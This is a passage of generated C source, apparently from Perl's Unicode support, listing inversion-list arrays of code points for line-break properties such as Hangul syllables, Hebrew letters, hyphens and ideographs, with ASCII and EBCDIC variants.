0xBA39, - 0xBA54, - 0xBA55, - 0xBA70, - 0xBA71, - 0xBA8C, - 0xBA8D, - 0xBAA8, - 0xBAA9, - 0xBAC4, - 0xBAC5, - 0xBAE0, - 0xBAE1, - 0xBAFC, - 0xBAFD, - 0xBB18, - 0xBB19, - 0xBB34, - 0xBB35, - 0xBB50, - 0xBB51, - 0xBB6C, - 0xBB6D, - 0xBB88, - 0xBB89, - 0xBBA4, - 0xBBA5, - 0xBBC0, - 0xBBC1, - 0xBBDC, - 0xBBDD, - 0xBBF8, - 0xBBF9, - 0xBC14, - 0xBC15, - 0xBC30, - 0xBC31, - 0xBC4C, - 0xBC4D, - 0xBC68, - 0xBC69, - 0xBC84, - 0xBC85, - 0xBCA0, - 0xBCA1, - 0xBCBC, - 0xBCBD, - 0xBCD8, - 0xBCD9, - 0xBCF4, - 0xBCF5, - 0xBD10, - 0xBD11, - 0xBD2C, - 0xBD2D, - 0xBD48, - 0xBD49, - 0xBD64, - 0xBD65, - 0xBD80, - 0xBD81, - 0xBD9C, - 0xBD9D, - 0xBDB8, - 0xBDB9, - 0xBDD4, - 0xBDD5, - 0xBDF0, - 0xBDF1, - 0xBE0C, - 0xBE0D, - 0xBE28, - 0xBE29, - 0xBE44, - 0xBE45, - 0xBE60, - 0xBE61, - 0xBE7C, - 0xBE7D, - 0xBE98, - 0xBE99, - 0xBEB4, - 0xBEB5, - 0xBED0, - 0xBED1, - 0xBEEC, - 0xBEED, - 0xBF08, - 0xBF09, - 0xBF24, - 0xBF25, - 0xBF40, - 0xBF41, - 0xBF5C, - 0xBF5D, - 0xBF78, - 0xBF79, - 0xBF94, - 0xBF95, - 0xBFB0, - 0xBFB1, - 0xBFCC, - 0xBFCD, - 0xBFE8, - 0xBFE9, - 0xC004, - 0xC005, - 0xC020, - 0xC021, - 0xC03C, - 0xC03D, - 0xC058, - 0xC059, - 0xC074, - 0xC075, - 0xC090, - 0xC091, - 0xC0AC, - 0xC0AD, - 0xC0C8, - 0xC0C9, - 0xC0E4, - 0xC0E5, - 0xC100, - 0xC101, - 0xC11C, - 0xC11D, - 0xC138, - 0xC139, - 0xC154, - 0xC155, - 0xC170, - 0xC171, - 0xC18C, - 0xC18D, - 0xC1A8, - 0xC1A9, - 0xC1C4, - 0xC1C5, - 0xC1E0, - 0xC1E1, - 0xC1FC, - 0xC1FD, - 0xC218, - 0xC219, - 0xC234, - 0xC235, - 0xC250, - 0xC251, - 0xC26C, - 0xC26D, - 0xC288, - 0xC289, - 0xC2A4, - 0xC2A5, - 0xC2C0, - 0xC2C1, - 0xC2DC, - 0xC2DD, - 0xC2F8, - 0xC2F9, - 0xC314, - 0xC315, - 0xC330, - 0xC331, - 0xC34C, - 0xC34D, - 0xC368, - 0xC369, - 0xC384, - 0xC385, - 0xC3A0, - 0xC3A1, - 0xC3BC, - 0xC3BD, - 0xC3D8, - 0xC3D9, - 0xC3F4, - 0xC3F5, - 0xC410, - 0xC411, - 0xC42C, - 0xC42D, - 0xC448, - 0xC449, - 0xC464, - 0xC465, - 0xC480, - 0xC481, - 0xC49C, - 0xC49D, - 0xC4B8, - 0xC4B9, - 0xC4D4, - 0xC4D5, - 0xC4F0, - 0xC4F1, - 0xC50C, - 0xC50D, - 0xC528, - 0xC529, - 0xC544, - 0xC545, - 0xC560, - 0xC561, - 0xC57C, - 0xC57D, - 0xC598, - 0xC599, - 0xC5B4, - 0xC5B5, - 0xC5D0, - 0xC5D1, - 0xC5EC, - 0xC5ED, - 0xC608, - 0xC609, - 0xC624, - 0xC625, - 0xC640, - 0xC641, - 0xC65C, - 0xC65D, - 0xC678, - 0xC679, - 0xC694, - 0xC695, - 0xC6B0, - 0xC6B1, - 0xC6CC, - 0xC6CD, - 0xC6E8, - 0xC6E9, - 0xC704, - 0xC705, - 0xC720, - 0xC721, - 0xC73C, - 0xC73D, - 0xC758, - 0xC759, - 0xC774, - 0xC775, - 0xC790, - 0xC791, - 0xC7AC, - 0xC7AD, - 0xC7C8, - 0xC7C9, - 0xC7E4, - 0xC7E5, - 0xC800, - 0xC801, - 0xC81C, - 0xC81D, - 0xC838, - 0xC839, - 0xC854, - 0xC855, - 0xC870, - 0xC871, - 0xC88C, - 0xC88D, - 0xC8A8, - 0xC8A9, - 0xC8C4, - 0xC8C5, - 0xC8E0, - 0xC8E1, - 0xC8FC, - 0xC8FD, - 0xC918, - 0xC919, - 0xC934, - 0xC935, - 0xC950, - 0xC951, - 0xC96C, - 0xC96D, - 0xC988, - 0xC989, - 0xC9A4, - 0xC9A5, - 0xC9C0, - 0xC9C1, - 0xC9DC, - 0xC9DD, - 0xC9F8, - 0xC9F9, - 0xCA14, - 0xCA15, - 0xCA30, - 0xCA31, - 0xCA4C, - 0xCA4D, - 0xCA68, - 0xCA69, - 0xCA84, - 0xCA85, - 0xCAA0, - 0xCAA1, - 0xCABC, - 0xCABD, - 0xCAD8, - 0xCAD9, - 0xCAF4, - 0xCAF5, - 0xCB10, - 0xCB11, - 0xCB2C, - 0xCB2D, - 0xCB48, - 0xCB49, - 0xCB64, - 0xCB65, - 0xCB80, - 0xCB81, - 0xCB9C, - 0xCB9D, - 0xCBB8, - 0xCBB9, - 0xCBD4, - 0xCBD5, - 0xCBF0, - 0xCBF1, - 0xCC0C, - 0xCC0D, - 0xCC28, - 0xCC29, - 0xCC44, - 0xCC45, - 0xCC60, - 0xCC61, - 0xCC7C, - 0xCC7D, - 0xCC98, - 0xCC99, - 0xCCB4, - 0xCCB5, - 0xCCD0, - 0xCCD1, - 0xCCEC, - 0xCCED, - 0xCD08, - 0xCD09, - 0xCD24, - 0xCD25, - 0xCD40, - 0xCD41, - 0xCD5C, - 0xCD5D, - 0xCD78, - 0xCD79, - 0xCD94, - 0xCD95, - 0xCDB0, - 0xCDB1, - 0xCDCC, - 0xCDCD, - 0xCDE8, - 0xCDE9, - 0xCE04, - 0xCE05, - 0xCE20, - 0xCE21, - 0xCE3C, - 0xCE3D, - 0xCE58, - 0xCE59, - 0xCE74, - 0xCE75, - 0xCE90, - 0xCE91, - 0xCEAC, - 0xCEAD, - 0xCEC8, - 0xCEC9, - 0xCEE4, - 0xCEE5, - 0xCF00, - 0xCF01, - 0xCF1C, - 0xCF1D, - 0xCF38, - 0xCF39, - 0xCF54, - 0xCF55, - 0xCF70, - 0xCF71, - 0xCF8C, - 0xCF8D, - 0xCFA8, - 0xCFA9, - 0xCFC4, - 0xCFC5, - 0xCFE0, - 0xCFE1, - 0xCFFC, - 0xCFFD, - 0xD018, - 0xD019, - 0xD034, - 0xD035, - 0xD050, - 0xD051, - 0xD06C, - 0xD06D, - 0xD088, - 0xD089, - 0xD0A4, - 0xD0A5, - 0xD0C0, - 0xD0C1, - 0xD0DC, - 0xD0DD, - 0xD0F8, - 0xD0F9, - 0xD114, - 0xD115, - 0xD130, - 0xD131, - 0xD14C, - 0xD14D, - 0xD168, - 0xD169, - 0xD184, - 0xD185, - 0xD1A0, - 0xD1A1, - 0xD1BC, - 0xD1BD, - 0xD1D8, - 0xD1D9, - 0xD1F4, - 0xD1F5, - 0xD210, - 0xD211, - 0xD22C, - 0xD22D, - 0xD248, - 0xD249, - 0xD264, - 0xD265, - 0xD280, - 0xD281, - 0xD29C, - 0xD29D, - 0xD2B8, - 0xD2B9, - 0xD2D4, - 0xD2D5, - 0xD2F0, - 0xD2F1, - 0xD30C, - 0xD30D, - 0xD328, - 0xD329, - 0xD344, - 0xD345, - 0xD360, - 0xD361, - 0xD37C, - 0xD37D, - 0xD398, - 0xD399, - 0xD3B4, - 0xD3B5, - 0xD3D0, - 0xD3D1, - 0xD3EC, - 0xD3ED, - 0xD408, - 0xD409, - 0xD424, - 0xD425, - 0xD440, - 0xD441, - 0xD45C, - 0xD45D, - 0xD478, - 0xD479, - 0xD494, - 0xD495, - 0xD4B0, - 0xD4B1, - 0xD4CC, - 0xD4CD, - 0xD4E8, - 0xD4E9, - 0xD504, - 0xD505, - 0xD520, - 0xD521, - 0xD53C, - 0xD53D, - 0xD558, - 0xD559, - 0xD574, - 0xD575, - 0xD590, - 0xD591, - 0xD5AC, - 0xD5AD, - 0xD5C8, - 0xD5C9, - 0xD5E4, - 0xD5E5, - 0xD600, - 0xD601, - 0xD61C, - 0xD61D, - 0xD638, - 0xD639, - 0xD654, - 0xD655, - 0xD670, - 0xD671, - 0xD68C, - 0xD68D, - 0xD6A8, - 0xD6A9, - 0xD6C4, - 0xD6C5, - 0xD6E0, - 0xD6E1, - 0xD6FC, - 0xD6FD, - 0xD718, - 0xD719, - 0xD734, - 0xD735, - 0xD750, - 0xD751, - 0xD76C, - 0xD76D, - 0xD788, - 0xD789 -}; - -static const UV PL_LB__H3_invlist[] = { /* for all charsets */ - 799, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAC01, - 0xAC1C, - 0xAC1D, - 0xAC38, - 0xAC39, - 0xAC54, - 0xAC55, - 0xAC70, - 0xAC71, - 0xAC8C, - 0xAC8D, - 0xACA8, - 0xACA9, - 0xACC4, - 0xACC5, - 0xACE0, - 0xACE1, - 0xACFC, - 0xACFD, - 0xAD18, - 0xAD19, - 0xAD34, - 0xAD35, - 0xAD50, - 0xAD51, - 0xAD6C, - 0xAD6D, - 0xAD88, - 0xAD89, - 0xADA4, - 0xADA5, - 0xADC0, - 0xADC1, - 0xADDC, - 0xADDD, - 0xADF8, - 0xADF9, - 0xAE14, - 0xAE15, - 0xAE30, - 0xAE31, - 0xAE4C, - 0xAE4D, - 0xAE68, - 0xAE69, - 0xAE84, - 0xAE85, - 0xAEA0, - 0xAEA1, - 0xAEBC, - 0xAEBD, - 0xAED8, - 0xAED9, - 0xAEF4, - 0xAEF5, - 0xAF10, - 0xAF11, - 0xAF2C, - 0xAF2D, - 0xAF48, - 0xAF49, - 0xAF64, - 0xAF65, - 0xAF80, - 0xAF81, - 0xAF9C, - 0xAF9D, - 0xAFB8, - 0xAFB9, - 0xAFD4, - 0xAFD5, - 0xAFF0, - 0xAFF1, - 0xB00C, - 0xB00D, - 0xB028, - 0xB029, - 0xB044, - 0xB045, - 0xB060, - 0xB061, - 0xB07C, - 0xB07D, - 0xB098, - 0xB099, - 0xB0B4, - 0xB0B5, - 0xB0D0, - 0xB0D1, - 0xB0EC, - 0xB0ED, - 0xB108, - 0xB109, - 0xB124, - 0xB125, - 0xB140, - 0xB141, - 0xB15C, - 0xB15D, - 0xB178, - 0xB179, - 0xB194, - 0xB195, - 0xB1B0, - 0xB1B1, - 0xB1CC, - 0xB1CD, - 0xB1E8, - 0xB1E9, - 0xB204, - 0xB205, - 0xB220, - 0xB221, - 0xB23C, - 0xB23D, - 0xB258, - 0xB259, - 0xB274, - 0xB275, - 0xB290, - 0xB291, - 0xB2AC, - 0xB2AD, - 0xB2C8, - 0xB2C9, - 0xB2E4, - 0xB2E5, - 0xB300, - 0xB301, - 0xB31C, - 0xB31D, - 0xB338, - 0xB339, - 0xB354, - 0xB355, - 0xB370, - 0xB371, - 0xB38C, - 0xB38D, - 0xB3A8, - 0xB3A9, - 0xB3C4, - 0xB3C5, - 0xB3E0, - 0xB3E1, - 0xB3FC, - 0xB3FD, - 0xB418, - 0xB419, - 0xB434, - 0xB435, - 0xB450, - 0xB451, - 0xB46C, - 0xB46D, - 0xB488, - 0xB489, - 0xB4A4, - 0xB4A5, - 0xB4C0, - 0xB4C1, - 0xB4DC, - 0xB4DD, - 0xB4F8, - 0xB4F9, - 0xB514, - 0xB515, - 0xB530, - 0xB531, - 0xB54C, - 0xB54D, - 0xB568, - 0xB569, - 0xB584, - 0xB585, - 0xB5A0, - 0xB5A1, - 0xB5BC, - 0xB5BD, - 0xB5D8, - 0xB5D9, - 0xB5F4, - 0xB5F5, - 0xB610, - 0xB611, - 0xB62C, - 0xB62D, - 0xB648, - 0xB649, - 0xB664, - 0xB665, - 0xB680, - 0xB681, - 0xB69C, - 0xB69D, - 0xB6B8, - 0xB6B9, - 0xB6D4, - 0xB6D5, - 0xB6F0, - 0xB6F1, - 0xB70C, - 0xB70D, - 0xB728, - 0xB729, - 0xB744, - 0xB745, - 0xB760, - 0xB761, - 0xB77C, - 0xB77D, - 0xB798, - 0xB799, - 0xB7B4, - 0xB7B5, - 0xB7D0, - 0xB7D1, - 0xB7EC, - 0xB7ED, - 0xB808, - 0xB809, - 0xB824, - 0xB825, - 0xB840, - 0xB841, - 0xB85C, - 0xB85D, - 0xB878, - 0xB879, - 0xB894, - 0xB895, - 0xB8B0, - 0xB8B1, - 0xB8CC, - 0xB8CD, - 0xB8E8, - 0xB8E9, - 0xB904, - 0xB905, - 0xB920, - 0xB921, - 0xB93C, - 0xB93D, - 0xB958, - 0xB959, - 0xB974, - 0xB975, - 0xB990, - 0xB991, - 0xB9AC, - 0xB9AD, - 0xB9C8, - 0xB9C9, - 0xB9E4, - 0xB9E5, - 0xBA00, - 0xBA01, - 0xBA1C, - 0xBA1D, - 0xBA38, - 0xBA39, - 0xBA54, - 0xBA55, - 0xBA70, - 0xBA71, - 0xBA8C, - 0xBA8D, - 0xBAA8, - 0xBAA9, - 0xBAC4, - 0xBAC5, - 0xBAE0, - 0xBAE1, - 0xBAFC, - 0xBAFD, - 0xBB18, - 0xBB19, - 0xBB34, - 0xBB35, - 0xBB50, - 0xBB51, - 0xBB6C, - 0xBB6D, - 0xBB88, - 0xBB89, - 0xBBA4, - 0xBBA5, - 0xBBC0, - 0xBBC1, - 0xBBDC, - 0xBBDD, - 0xBBF8, - 0xBBF9, - 0xBC14, - 0xBC15, - 0xBC30, - 0xBC31, - 0xBC4C, - 0xBC4D, - 0xBC68, - 0xBC69, - 0xBC84, - 0xBC85, - 0xBCA0, - 0xBCA1, - 0xBCBC, - 0xBCBD, - 0xBCD8, - 0xBCD9, - 0xBCF4, - 0xBCF5, - 0xBD10, - 0xBD11, - 0xBD2C, - 0xBD2D, - 0xBD48, - 0xBD49, - 0xBD64, - 0xBD65, - 0xBD80, - 0xBD81, - 0xBD9C, - 0xBD9D, - 0xBDB8, - 0xBDB9, - 0xBDD4, - 0xBDD5, - 0xBDF0, - 0xBDF1, - 0xBE0C, - 0xBE0D, - 0xBE28, - 0xBE29, - 0xBE44, - 0xBE45, - 0xBE60, - 0xBE61, - 0xBE7C, - 0xBE7D, - 0xBE98, - 0xBE99, - 0xBEB4, - 0xBEB5, - 0xBED0, - 0xBED1, - 0xBEEC, - 0xBEED, - 0xBF08, - 0xBF09, - 0xBF24, - 0xBF25, - 0xBF40, - 0xBF41, - 0xBF5C, - 0xBF5D, - 0xBF78, - 0xBF79, - 0xBF94, - 0xBF95, - 0xBFB0, - 0xBFB1, - 0xBFCC, - 0xBFCD, - 0xBFE8, - 0xBFE9, - 0xC004, - 0xC005, - 0xC020, - 0xC021, - 0xC03C, - 0xC03D, - 0xC058, - 0xC059, - 0xC074, - 0xC075, - 0xC090, - 0xC091, - 0xC0AC, - 0xC0AD, - 0xC0C8, - 0xC0C9, - 0xC0E4, - 0xC0E5, - 0xC100, - 0xC101, - 0xC11C, - 0xC11D, - 0xC138, - 0xC139, - 0xC154, - 0xC155, - 0xC170, - 0xC171, - 0xC18C, - 0xC18D, - 0xC1A8, - 0xC1A9, - 0xC1C4, - 0xC1C5, - 0xC1E0, - 0xC1E1, - 0xC1FC, - 0xC1FD, - 0xC218, - 0xC219, - 0xC234, - 0xC235, - 0xC250, - 0xC251, - 0xC26C, - 0xC26D, - 0xC288, - 0xC289, - 0xC2A4, - 0xC2A5, - 0xC2C0, - 0xC2C1, - 0xC2DC, - 0xC2DD, - 0xC2F8, - 0xC2F9, - 0xC314, - 0xC315, - 0xC330, - 0xC331, - 0xC34C, - 0xC34D, - 0xC368, - 0xC369, - 0xC384, - 0xC385, - 0xC3A0, - 0xC3A1, - 0xC3BC, - 0xC3BD, - 0xC3D8, - 0xC3D9, - 0xC3F4, - 0xC3F5, - 0xC410, - 0xC411, - 0xC42C, - 0xC42D, - 0xC448, - 0xC449, - 0xC464, - 0xC465, - 0xC480, - 0xC481, - 0xC49C, - 0xC49D, - 0xC4B8, - 0xC4B9, - 0xC4D4, - 0xC4D5, - 0xC4F0, - 0xC4F1, - 0xC50C, - 0xC50D, - 0xC528, - 0xC529, - 0xC544, - 0xC545, - 0xC560, - 0xC561, - 0xC57C, - 0xC57D, - 0xC598, - 0xC599, - 0xC5B4, - 0xC5B5, - 0xC5D0, - 0xC5D1, - 0xC5EC, - 0xC5ED, - 0xC608, - 0xC609, - 0xC624, - 0xC625, - 0xC640, - 0xC641, - 0xC65C, - 0xC65D, - 0xC678, - 0xC679, - 0xC694, - 0xC695, - 0xC6B0, - 0xC6B1, - 0xC6CC, - 0xC6CD, - 0xC6E8, - 0xC6E9, - 0xC704, - 0xC705, - 0xC720, - 0xC721, - 0xC73C, - 0xC73D, - 0xC758, - 0xC759, - 0xC774, - 0xC775, - 0xC790, - 0xC791, - 0xC7AC, - 0xC7AD, - 0xC7C8, - 0xC7C9, - 0xC7E4, - 0xC7E5, - 0xC800, - 0xC801, - 0xC81C, - 0xC81D, - 0xC838, - 0xC839, - 0xC854, - 0xC855, - 0xC870, - 0xC871, - 0xC88C, - 0xC88D, - 0xC8A8, - 0xC8A9, - 0xC8C4, - 0xC8C5, - 0xC8E0, - 0xC8E1, - 0xC8FC, - 0xC8FD, - 0xC918, - 0xC919, - 0xC934, - 0xC935, - 0xC950, - 0xC951, - 0xC96C, - 0xC96D, - 0xC988, - 0xC989, - 0xC9A4, - 0xC9A5, - 0xC9C0, - 0xC9C1, - 0xC9DC, - 0xC9DD, - 0xC9F8, - 0xC9F9, - 0xCA14, - 0xCA15, - 0xCA30, - 0xCA31, - 0xCA4C, - 0xCA4D, - 0xCA68, - 0xCA69, - 0xCA84, - 0xCA85, - 0xCAA0, - 0xCAA1, - 0xCABC, - 0xCABD, - 0xCAD8, - 0xCAD9, - 0xCAF4, - 0xCAF5, - 0xCB10, - 0xCB11, - 0xCB2C, - 0xCB2D, - 0xCB48, - 0xCB49, - 0xCB64, - 0xCB65, - 0xCB80, - 0xCB81, - 0xCB9C, - 0xCB9D, - 0xCBB8, - 0xCBB9, - 0xCBD4, - 0xCBD5, - 0xCBF0, - 0xCBF1, - 0xCC0C, - 0xCC0D, - 0xCC28, - 0xCC29, - 0xCC44, - 0xCC45, - 0xCC60, - 0xCC61, - 0xCC7C, - 0xCC7D, - 0xCC98, - 0xCC99, - 0xCCB4, - 0xCCB5, - 0xCCD0, - 0xCCD1, - 0xCCEC, - 0xCCED, - 0xCD08, - 0xCD09, - 0xCD24, - 0xCD25, - 0xCD40, - 0xCD41, - 0xCD5C, - 0xCD5D, - 0xCD78, - 0xCD79, - 0xCD94, - 0xCD95, - 0xCDB0, - 0xCDB1, - 0xCDCC, - 0xCDCD, - 0xCDE8, - 0xCDE9, - 0xCE04, - 0xCE05, - 0xCE20, - 0xCE21, - 0xCE3C, - 0xCE3D, - 0xCE58, - 0xCE59, - 0xCE74, - 0xCE75, - 0xCE90, - 0xCE91, - 0xCEAC, - 0xCEAD, - 0xCEC8, - 0xCEC9, - 0xCEE4, - 0xCEE5, - 0xCF00, - 0xCF01, - 0xCF1C, - 0xCF1D, - 0xCF38, - 0xCF39, - 0xCF54, - 0xCF55, - 0xCF70, - 0xCF71, - 0xCF8C, - 0xCF8D, - 0xCFA8, - 0xCFA9, - 0xCFC4, - 0xCFC5, - 0xCFE0, - 0xCFE1, - 0xCFFC, - 0xCFFD, - 0xD018, - 0xD019, - 0xD034, - 0xD035, - 0xD050, - 0xD051, - 0xD06C, - 0xD06D, - 0xD088, - 0xD089, - 0xD0A4, - 0xD0A5, - 0xD0C0, - 0xD0C1, - 0xD0DC, - 0xD0DD, - 0xD0F8, - 0xD0F9, - 0xD114, - 0xD115, - 0xD130, - 0xD131, - 0xD14C, - 0xD14D, - 0xD168, - 0xD169, - 0xD184, - 0xD185, - 0xD1A0, - 0xD1A1, - 0xD1BC, - 0xD1BD, - 0xD1D8, - 0xD1D9, - 0xD1F4, - 0xD1F5, - 0xD210, - 0xD211, - 0xD22C, - 0xD22D, - 0xD248, - 0xD249, - 0xD264, - 0xD265, - 0xD280, - 0xD281, - 0xD29C, - 0xD29D, - 0xD2B8, - 0xD2B9, - 0xD2D4, - 0xD2D5, - 0xD2F0, - 0xD2F1, - 0xD30C, - 0xD30D, - 0xD328, - 0xD329, - 0xD344, - 0xD345, - 0xD360, - 0xD361, - 0xD37C, - 0xD37D, - 0xD398, - 0xD399, - 0xD3B4, - 0xD3B5, - 0xD3D0, - 0xD3D1, - 0xD3EC, - 0xD3ED, - 0xD408, - 0xD409, - 0xD424, - 0xD425, - 0xD440, - 0xD441, - 0xD45C, - 0xD45D, - 0xD478, - 0xD479, - 0xD494, - 0xD495, - 0xD4B0, - 0xD4B1, - 0xD4CC, - 0xD4CD, - 0xD4E8, - 0xD4E9, - 0xD504, - 0xD505, - 0xD520, - 0xD521, - 0xD53C, - 0xD53D, - 0xD558, - 0xD559, - 0xD574, - 0xD575, - 0xD590, - 0xD591, - 0xD5AC, - 0xD5AD, - 0xD5C8, - 0xD5C9, - 0xD5E4, - 0xD5E5, - 0xD600, - 0xD601, - 0xD61C, - 0xD61D, - 0xD638, - 0xD639, - 0xD654, - 0xD655, - 0xD670, - 0xD671, - 0xD68C, - 0xD68D, - 0xD6A8, - 0xD6A9, - 0xD6C4, - 0xD6C5, - 0xD6E0, - 0xD6E1, - 0xD6FC, - 0xD6FD, - 0xD718, - 0xD719, - 0xD734, - 0xD735, - 0xD750, - 0xD751, - 0xD76C, - 0xD76D, - 0xD788, - 0xD789, - 0xD7A4 -}; - -static const UV PL_LB__HL_invlist[] = { /* for all charsets */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB50 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__HY_invlist[] = { /* for ASCII/Latin1 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2D, - 0x2E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__HY_invlist[] = { /* for EBCDIC 1047 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x60, - 0x61 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LB__HY_invlist[] = { /* for EBCDIC 037 */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x60, - 0x61 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_LB__ID_invlist[] = { /* for all charsets */ - 321, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x231A, - 0x231C, - 0x23F0, - 0x23F4, - 0x2600, - 0x2604, - 0x2614, - 0x2616, - 0x2618, - 0x2619, - 0x261A, - 0x261D, - 0x261E, - 0x2620, - 0x2639, - 0x263C, - 0x2668, - 0x2669, - 0x267F, - 0x2680, - 0x26BD, - 0x26C9, - 0x26CD, - 0x26CE, - 0x26CF, - 0x26D2, - 0x26D3, - 0x26D5, - 0x26D8, - 0x26DA, - 0x26DC, - 0x26DD, - 0x26DF, - 0x26E2, - 0x26EA, - 0x26EB, - 0x26F1, - 0x26F6, - 0x26F7, - 0x26F9, - 0x26FA, - 0x26FB, - 0x26FD, - 0x2705, - 0x2708, - 0x270A, - 0x2764, - 0x2765, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3003, - 0x3005, - 0x3006, - 0x3008, - 0x3012, - 0x3014, - 0x3020, - 0x302A, - 0x3030, - 0x3035, - 0x3036, - 0x303B, - 0x303D, - 0x3040, - 0x3042, - 0x3043, - 0x3044, - 0x3045, - 0x3046, - 0x3047, - 0x3048, - 0x3049, - 0x304A, - 0x3063, - 0x3064, - 0x3083, - 0x3084, - 0x3085, - 0x3086, - 0x3087, - 0x3088, - 0x308E, - 0x308F, - 0x3095, - 0x309F, - 0x30A0, - 0x30A2, - 0x30A3, - 0x30A4, - 0x30A5, - 0x30A6, - 0x30A7, - 0x30A8, - 0x30A9, - 0x30AA, - 0x30C3, - 0x30C4, - 0x30E3, - 0x30E4, - 0x30E5, - 0x30E6, - 0x30E7, - 0x30E8, - 0x30EE, - 0x30EF, - 0x30F5, - 0x30F7, - 0x30FB, - 0x30FF, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3250, - 0x32FF, - 0x3300, - 0x4DC0, - 0x4E00, - 0xA015, - 0xA016, - 0xA48D, - 0xA490, - 0xA4C7, - 0xF900, - 0xFB00, - 0xFE30, - 0xFE35, - 0xFE45, - 0xFE47, - 0xFE49, - 0xFE50, - 0xFE51, - 0xFE52, - 0xFE58, - 0xFE59, - 0xFE5F, - 0xFE67, - 0xFE68, - 0xFE69, - 0xFE6B, - 0xFE6C, - 0xFF02, - 0xFF04, - 0xFF06, - 0xFF08, - 0xFF0A, - 0xFF0C, - 0xFF0D, - 0xFF0E, - 0xFF0F, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF20, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF66, - 0xFF67, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE2, - 0xFFE5, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1F000, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F200, - 0x1F385, - 0x1F386, - 0x1F39C, - 0x1F39E, - 0x1F3B5, - 0x1F3B7, - 0x1F3BC, - 0x1F3BD, - 0x1F3C2, - 0x1F3C5, - 0x1F3C7, - 0x1F3C8, - 0x1F3CA, - 0x1F3CD, - 0x1F3FB, - 0x1F400, - 0x1F442, - 0x1F444, - 0x1F446, - 0x1F451, - 0x1F466, - 0x1F46A, - 0x1F46E, - 0x1F46F, - 0x1F470, - 0x1F479, - 0x1F47C, - 0x1F47D, - 0x1F481, - 0x1F484, - 0x1F485, - 0x1F488, - 0x1F4A0, - 0x1F4A1, - 0x1F4A2, - 0x1F4A3, - 0x1F4A4, - 0x1F4A5, - 0x1F4AA, - 0x1F4AB, - 0x1F4AF, - 0x1F4B0, - 0x1F4B1, - 0x1F4B3, - 0x1F500, - 0x1F507, - 0x1F517, - 0x1F525, - 0x1F532, - 0x1F54A, - 0x1F574, - 0x1F576, - 0x1F57A, - 0x1F57B, - 0x1F590, - 0x1F591, - 0x1F595, - 0x1F597, - 0x1F5D4, - 0x1F5DC, - 0x1F5F4, - 0x1F5FA, - 0x1F645, - 0x1F648, - 0x1F64B, - 0x1F680, - 0x1F6A3, - 0x1F6A4, - 0x1F6B4, - 0x1F6B7, - 0x1F6C0, - 0x1F6C1, - 0x1F6CC, - 0x1F6CD, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F918, - 0x1F91D, - 0x1F91E, - 0x1F920, - 0x1F926, - 0x1F927, - 0x1F930, - 0x1F93A, - 0x1F93D, - 0x1F93F, - 0x1F9D1, - 0x1F9DE, - 0x1FFFE, - 0x20000, - 0x2FFFE, - 0x30000, - 0x3FFFE -}; - -static const UV PL_LB__IN_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2024, - 0x2027, - 0x22EF, - 0x22F0, - 0xFE19, - 0xFE1A, - 0x10AF6, - 0x10AF7 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LB__IS_invlist[] = { /* for ASCII/Latin1 */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 